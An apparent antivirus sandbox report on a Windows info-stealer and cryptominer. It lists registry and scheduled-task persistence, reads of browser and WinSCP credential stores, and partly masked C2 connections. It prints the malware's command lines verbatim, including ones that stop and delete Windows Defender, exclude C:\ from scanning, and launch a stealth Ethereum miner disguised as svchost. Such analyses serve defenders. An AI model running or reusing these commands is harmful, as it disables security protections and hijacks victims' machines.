Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Obazz' = '"%APPDATA%\Obazz.exe"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'OneDriveSSL StartServe1r' = '"%LOCALAPPDATA%\OneDriveSSL StartServe1r.exe"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'OneDrive SSLI Startup Log' = '"%APPDATA%\OneDrive SSLI Startup Log.exe"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Net SSLIT Startup Log' = '"%APPDATA%\Net SSLIT Startup Log.exe"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Obazzzzz' = '"%APPDATA%\Obazzzzz.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\firefox default browser agent 3bb4c4183ac2ebc1
- <SYSTEM32>\tasks\servicesssl
- <SYSTEM32>\tasks\onedrivestartup
- <SYSTEM32>\tasks\servicesonedrivesystemcheck
Malicious functions
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Hooks functions
in browsers
- firefox.exe process, nss3.dll module
- iexplore.exe process, wininet.dll module
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\Martin Prikryl]
- [<HKLM>\Software\Wow6432Node\Martin Prikryl]
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\hadac_newsletter_july_2010_final.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\nwfieldnotes1966.docx
- %HOMEPATH%\desktop\weeklysheet1215.doc
Modifies file system
Creates the following files
- %TEMP%\advancedrun.exe
- %TEMP%\tmpa597.tmp
- %TEMP%\tmpa596.tmp
- %TEMP%\tmpa595.tmp
- %TEMP%\tmpa594.tmp
- %TEMP%\tmpa593.tmp
- %TEMP%\tmpa592.tmp
- %TEMP%\tmpa581.tmp
- %TEMP%\tmpa580.tmp
- %TEMP%\tmpa57f.tmp
- %TEMP%\tmpa57e.tmp
- %TEMP%\tmpa56e.tmp
- %TEMP%\tmpa5a8.tmp
- %TEMP%\tmpa56d.tmp
- %TEMP%\tmpa56b.tmp
- %TEMP%\tmpa56a.tmp
- %TEMP%\tmpa569.tmp
- %TEMP%\tmpa558.tmp
- %TEMP%\tmpa557.tmp
- %TEMP%\tmpa556.tmp
- %TEMP%\tmpa546.tmp
- %TEMP%\tmpa545.tmp
- %TEMP%\tmpa544.tmp
- %TEMP%\tmpa543.tmp
- %TEMP%\tmpa542.tmp
- %TEMP%\tmpa56c.tmp
- %TEMP%\tmpa5a9.tmp
- %TEMP%\tmpa5aa.tmp
- %TEMP%\tmpa5ab.tmp
- %TEMP%\tmpa66f.tmp
- %TEMP%\tmpa65f.tmp
- %TEMP%\tmpa65e.tmp
- %TEMP%\tmpa65d.tmp
- %TEMP%\tmpa64c.tmp
- %TEMP%\tmpa62c.tmp
- %TEMP%\tmpa62b.tmp
- %TEMP%\tmpa61a.tmp
- %TEMP%\tmpa619.tmp
- %TEMP%\tmpa609.tmp
- %TEMP%\tmpa5f8.tmp
- %TEMP%\tmpa5e7.tmp
- %TEMP%\tmpa5e6.tmp
- %TEMP%\tmpa5e5.tmp
- %TEMP%\tmpa5d5.tmp
- %TEMP%\tmpa5d4.tmp
- %TEMP%\tmpa5d3.tmp
- %TEMP%\tmpa5d2.tmp
- %TEMP%\tmpa5d1.tmp
- %TEMP%\tmpa5d0.tmp
- %TEMP%\tmpa5bf.tmp
- %TEMP%\tmpa5be.tmp
- %TEMP%\tmpa5bd.tmp
- %TEMP%\tmpa5ad.tmp
- %TEMP%\tmpa5ac.tmp
- %TEMP%\tmpa531.tmp
- %TEMP%\tmpa70c.tmp
- %TEMP%\tmpa530.tmp
- %TEMP%\tmpa51e.tmp
- %TEMP%\405f.tmp
- %TEMP%\3fb3.tmp
- %TEMP%\3fa2.tmp
- %TEMP%\3f82.tmp
- %TEMP%\3f71.tmp
- %TEMP%\2a2c.tmp
- %TEMP%\29ed.tmp-shm
- %TEMP%\29ed.tmp
- %TEMP%\servicesssl.exe
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\4060.tmp
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %TEMP%\1aa6.exe
- %TEMP%\1622.exe
- %TEMP%\122b.exe
- %TEMP%\f1e.exe
- %TEMP%\bd3.exe
- %TEMP%\8c6.exe
- %APPDATA%\dsseteb
- %APPDATA%\vtrfhss
- %TEMP%\d8e6.tmp
- %TEMP%\<File name>.exe
- %APPDATA%\obazz.exe
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %TEMP%\4081.tmp
- %TEMP%\4082.tmp
- %TEMP%\4092.tmp
- %TEMP%\tmpa50e.tmp
- %TEMP%\tmpa50d.tmp
- %TEMP%\tmpa4fc.tmp
- %TEMP%\tmpa4fb.tmp
- %TEMP%\tmpa4eb.tmp
- %TEMP%\tmpa4ea.tmp
- %TEMP%\tmpa4e9.tmp
- %TEMP%\tmpa4e8.tmp
- %TEMP%\tmpa4e7.tmp
- %TEMP%\tmpa4d6.tmp
- %APPDATA%\microsoft\libs\wr64.sys
- %APPDATA%\microsoft\libs\sihost64.exe
- %TEMP%\servicesonedrivesystemcheck.exe
- %TEMP%\onedrivestartup.exe
- %APPDATA%\obazzzzz.exe
- %APPDATA%\net sslit startup log.exe
- %TEMP%\regasm.exe
- %APPDATA%\onedrive ssli startup log.exe
- %LOCALAPPDATA%\onedrivessl startserve1r.exe
- %APPDATA%\microsoft\inc\sihost32.exe
- %TEMP%\40c5.tmp-shm
- %TEMP%\40c5.tmp
- %TEMP%\40b4.tmp
- %TEMP%\40a4.tmp
- %TEMP%\4093.tmp
- %TEMP%\tmpa51f.tmp
- %TEMP%\tmpa70d.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\vtrfhss
- %APPDATA%\dsseteb
Deletes the following files
- %TEMP%\advancedrun.exe
- %TEMP%\tmpa5bd.tmp
- %TEMP%\tmpa5be.tmp
- %TEMP%\tmpa5ac.tmp
- %TEMP%\tmpa5ad.tmp
- %TEMP%\tmpa5aa.tmp
- %TEMP%\tmpa5ab.tmp
- %TEMP%\tmpa5a8.tmp
- %TEMP%\tmpa5a9.tmp
- %TEMP%\tmpa56e.tmp
- %TEMP%\tmpa596.tmp
- %TEMP%\tmpa594.tmp
- %TEMP%\tmpa595.tmp
- %TEMP%\tmpa592.tmp
- %TEMP%\tmpa593.tmp
- %TEMP%\tmpa580.tmp
- %TEMP%\tmpa581.tmp
- %TEMP%\tmpa57e.tmp
- %TEMP%\tmpa57f.tmp
- %TEMP%\tmpa597.tmp
- %TEMP%\tmpa56d.tmp
- %TEMP%\tmpa5d0.tmp
- %TEMP%\tmpa5f8.tmp
- %TEMP%\tmpa66f.tmp
- %TEMP%\tmpa65f.tmp
- %TEMP%\tmpa65e.tmp
- %TEMP%\tmpa65d.tmp
- %TEMP%\tmpa64c.tmp
- %TEMP%\tmpa62c.tmp
- %TEMP%\tmpa62b.tmp
- %TEMP%\tmpa619.tmp
- %TEMP%\tmpa5d2.tmp
- %TEMP%\tmpa5bf.tmp
- %TEMP%\tmpa609.tmp
- %TEMP%\tmpa5e6.tmp
- %TEMP%\tmpa5e7.tmp
- %TEMP%\tmpa5d5.tmp
- %TEMP%\tmpa5e5.tmp
- %TEMP%\tmpa5d3.tmp
- %TEMP%\tmpa5d4.tmp
- %TEMP%\tmpa5d1.tmp
- %TEMP%\tmpa61a.tmp
- %TEMP%\tmpa56b.tmp
- %TEMP%\tmpa56c.tmp
- %TEMP%\tmpa569.tmp
- %TEMP%\40c5.tmp-shm
- %TEMP%\40b4.tmp
- %TEMP%\40a4.tmp
- %TEMP%\4093.tmp
- %TEMP%\4092.tmp
- %TEMP%\4082.tmp
- %TEMP%\4081.tmp
- %TEMP%\tmpa4d6.tmp
- %TEMP%\4060.tmp
- %TEMP%\3fb3.tmp
- %TEMP%\3fa2.tmp
- %TEMP%\3f82.tmp
- %TEMP%\3f71.tmp
- %TEMP%\2a2c.tmp
- %TEMP%\29ed.tmp
- %TEMP%\29ed.tmp-shm
- %TEMP%\<File name>.exe
- %TEMP%\405f.tmp
- %TEMP%\tmpa4e7.tmp
- %TEMP%\40c5.tmp
- %TEMP%\tmpa4e8.tmp
- %TEMP%\tmpa56a.tmp
- %TEMP%\tmpa530.tmp
- %TEMP%\tmpa557.tmp
- %TEMP%\tmpa558.tmp
- %TEMP%\tmpa546.tmp
- %TEMP%\tmpa556.tmp
- %TEMP%\tmpa544.tmp
- %TEMP%\tmpa545.tmp
- %TEMP%\tmpa542.tmp
- %TEMP%\tmpa543.tmp
- %TEMP%\tmpa531.tmp
- %TEMP%\tmpa4e9.tmp
- %TEMP%\tmpa51e.tmp
- %TEMP%\tmpa51f.tmp
- %TEMP%\tmpa50d.tmp
- %TEMP%\tmpa50e.tmp
- %TEMP%\tmpa4fc.tmp
- %TEMP%\tmpa4fb.tmp
- %TEMP%\tmpa4eb.tmp
- %TEMP%\tmpa4ea.tmp
- %TEMP%\tmpa70c.tmp
- %TEMP%\tmpa70d.tmp
Substitutes the following files
- %TEMP%\advancedrun.exe
Network activity
Connects to
- 'gr###co2020.top':80
- 'cd#.##scordapp.com':443
- '17#.#3.140.164':24607
- 'ap#.ip.sb':443
TCP
HTTP POST requests
- http://gr###co2020.top/
- http://17#.##.140.164:24607/ via 17#.#3.140.164
UDP
- DNS ASK gr###co2020.top
- DNS ASK cd#.##scordapp.com
- DNS ASK ap#.ip.sb
Miscellaneous
Creates and executes the following
- '%TEMP%\advancedrun.exe' /EXEFilename "<SYSTEM32>\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run
- '%TEMP%\1622.exe'
- '%APPDATA%\microsoft\libs\sihost64.exe'
- '%TEMP%\regasm.exe'
- '%TEMP%\servicesssl.exe'
- '%APPDATA%\microsoft\inc\sihost32.exe'
- '%TEMP%\1aa6.exe'
- '%TEMP%\onedrivestartup.exe'
- '%TEMP%\122b.exe'
- '%TEMP%\8c6.exe'
- '%TEMP%\<File name>.exe'
- '%TEMP%\advancedrun.exe' /SpecialRun 4101d8 1436
- '%TEMP%\advancedrun.exe' /EXEFilename "<SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir '%ALLUSERSPROFILE%\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run
- '%TEMP%\advancedrun.exe' /SpecialRun 4101d8 2036
- '%TEMP%\f1e.exe'
- '%TEMP%\servicesonedrivesystemcheck.exe'
- '%TEMP%\bd3.exe'
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "ServicesSSL" /tr '"%TEMP%\ServicesSSL.exe"' & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "OneDriveStartUp" /tr '"%TEMP%\OneDriveStartUp.exe"' & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "ServicesOneDriveSystemCheck" /tr '"%TEMP%\ServicesOneDriveSystemCheck.exe"' & exit' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "ServicesSSL" /tr '"%TEMP%\ServicesSSL.exe"' & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "ServicesSSL" /tr '"%TEMP%\ServicesSSL.exe"'
- '%WINDIR%\syswow64\explorer.exe'
- '%WINDIR%\explorer.exe'
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "OneDriveStartUp" /tr '"%TEMP%\OneDriveStartUp.exe"' & exit
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "ServicesOneDriveSystemCheck" /tr '"%TEMP%\ServicesOneDriveSystemCheck.exe"' & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "OneDriveStartUp" /tr '"%TEMP%\OneDriveStartUp.exe"'
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "ServicesOneDriveSystemCheck" /tr '"%TEMP%\ServicesOneDriveSystemCheck.exe"'
- '<SYSTEM32>\svchost.exe' --response-timeout=30 --farm-retries=30 --pool stratum://`0xfff94688cE6bb5d217D421Ab3AfBa6Ea8fe52a79`.NewLuck@eth-eu1.nanopool.org:9999 --unam-idle --unam-idle-wait=1 --unam-stealth
